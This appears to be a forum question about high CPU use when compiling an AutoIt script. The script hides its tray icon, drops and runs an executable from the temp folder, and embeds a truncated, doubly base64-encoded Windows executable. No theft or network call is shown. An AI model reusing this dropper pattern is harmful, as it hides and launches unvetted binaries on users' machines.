High CPU usage when compiling script uses Fileinstall function

#NoTrayIcon
FileInstall("MyApp.exe", @TempDir &"\MyApp.exe", 1)
RunWait(@ComSpec & ' /c ' & @TempDir &"\MyApp.exe" , @TempDir, @SW_MAXIMIZE)
Global $stri ="JyB+RVhFfgonIFRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQonIEFBQUFBQUFBOEFBQUFBNGZ1ZzRBdEFu" & _
"TkliZ0JUTTBoVkdocGN5QndjbTluY21GdElHTmhibTV2ZENCaVpTQnlkVzRnYVc0ZwonIFJF" & _
"OVRJRzF2WkdVdURRMEtKQUFBQUFBQUFBQ2J3Mkl6MzZJTVlOK2lER0Rmb2d4Z1RPeVVZTjZp" & _
"REdERVA2ZGc1cUlNWU1RLwonIHBtQnNvZ3hnMXRxZllNYWlER0Rmb2cxZ082SU1ZTVEvbzJE" & _
"R29neGd4RCtTWU1XaURHREVQNVpnM3FJTVlOK2ltMkRlb2d4ZwonIHhEK1JZTjZpREdCU2FX" & _
"Tm8zNklNWUFBQUFBQUFBQUFBVUVVQUFFd0JCQUFCdXlWUEFBQUFBQUFBQUFEZ0FDTUJDd0VL" & _
"QUFEMgonIEFRQUFmQUlBQUFBQUFFMzhBQUFBRUFBQUFCQUNBQUFBUUFBQUVBQUFBQUlBQUFV" & _
"QUFBQUFBQUFBQlFBQUFBQUFBQUFBMEFVQQonIEFBUUFBSEZ5QlFBQ0FBQ0JBQUFRQUFBUUFB" & _
"QUFBQkFBQUJBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBRWZnSUFvQUFBQUFEdwonIEF3Qmcy" & _
"UUVBQUFBQUFBQUFBQUFBZGdRQStCNEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQQonIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQ0FK" & _
"QUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQonIEFBQXVkR1Y0ZEFBQUFHejBB" & _
"UUFBRUFBQUFQWUJBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUJnTG5Ka1lYUmhBQUNVZkFB" & _
"QQonIEFCQUNBQUIrQUFBQStnRUFBQUFBQUFBQUFBQUFBQUFBUUFBQVFDNWtZWFJoQUFBQVJG" & _
"b0JBQUNRQWdBQUpBQUFBSGdDQUFBQQonIEFBQUFBQUFBQUFBQUFFQUFBTUF1Y25OeVl3QUFB" & _
"R0RaQVFBQThBTUFBTm9CQUFDY0FnQUFBQUFBQUFBQUFBQUFBQUJBQUFCQQonIEFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQQonIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQonIEFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQon" & _
"IEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQQonIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQonIEFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQQonIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdvawonIHVBMzlRUURvZzk0QkFHaGtORUlBalhY" & _
"UTZFY2xBQUNMZFFpRFpmd0FpOWlOZmdpTlJlRG9BU1lBQURQSk9FNG9ENVRCU1lQaAonIDhJ" & _
"UEJJSUhKQUFBQkFGSC9NUDkxRFA4Mi94V0FFa0lBalhYZzZJVWxBQUNOZGREb2ZTVUFBT2pK" & _
"M2dFQXdnZ0FWWXZzdUF3ZwonIEFBRG9DNkFCQUtGMGtFSUFNOFdKUmZoby93OEFBSTJGOU4v" & _
............................rest of base64 code
Global $sFilePath = @TempDir & "\MyApp.txt"
if FileExists($sFilePath) Then FileDelete($sFilePath)
FileOpen($sFilePath & "\MyApp.txt" , 1)
Filewrite($sFilePath, $stri)
FileClose($sFilePath & "\MyApp.txt")